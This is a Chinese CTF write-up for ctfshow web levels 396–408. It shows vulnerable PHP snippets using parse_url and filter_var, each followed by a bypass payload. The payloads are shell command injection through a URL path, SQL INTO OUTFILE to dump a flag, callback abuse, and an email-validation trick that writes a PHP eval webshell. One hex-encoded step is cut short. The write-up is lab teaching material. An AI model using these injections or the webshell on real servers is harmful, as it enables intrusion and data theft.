web396、397、398、399、400、401 parse_url 绕过 
源码  
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
    highlight_file(__FILE__);
}
  
   这里没有什么限制直接绕过  payload一  
 
 ?url=http://l/l;ls -al > 1.txt  
  
访问即可看到文件  
payload二  
 
 ?url=http://l/l;cat%20fl0g.php > 3.txt  
  
这里继续访问     
web403 
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
        shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
    }
}else{
    highlight_file(__FILE__);
}
  
首先拿到源码,简单判断一下,这里可以看到有个正则匹配,这个正则大概的意思就是匹配一个ip,所以我们只需要构造一个ip即可绕过  通过这个图片我们可以看出,我们可以执行的地方就在path           这里我放两张图片,然后就知道这里为啥是这样构造了  poc  
 
 ?url=http://127.0.0.1/;echo cat fl0g.php >> a.txt  
  
web406 filter_var绕过 
require 'config.php';
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
    $sql = "select * from links where url ='{$url}'";
    $result = $conn->query($sql);
}else{
    echo '不通过';
}
  
这里参考这一篇文章:PHP代码审计02之filter_var()函数缺陷  接下来简单分析一下,既然这边我们可以绕过这个函数,哪应该怎么哪到flag呢,首先这里有提示flag在数据库里面flag in db  
<?php 
require 'config.php';
$sql ='select flag from flag into outfile "/var/www/html/1.txt"';
$result = $conn->query($sql);
var_dump($result); 
?>
转为16进制
http:
访问1.txt即可
  
web407 filter_var 回调函数ipv6绕过 
highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
    call_user_func($ip);
}
class cafe{
    public static function add(){
        echo file_get_contents('flag.php');
    }
}
  
 
 cafe::add  
  
web408 filter_var非法字符可以放在双引号里面绕过检测 
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}
  
 
 email="<?=eval($_POST[1])?>"@1.php  
  
这里用短标签的意思是因为,不能有空格,因为有个双引号然后浏览器会把空格转义为%20,然后因为双引号包含,最后导致写不进文件  
参考文章php代码审计危险函数总结 
                
                
                
        
        
    
 
 |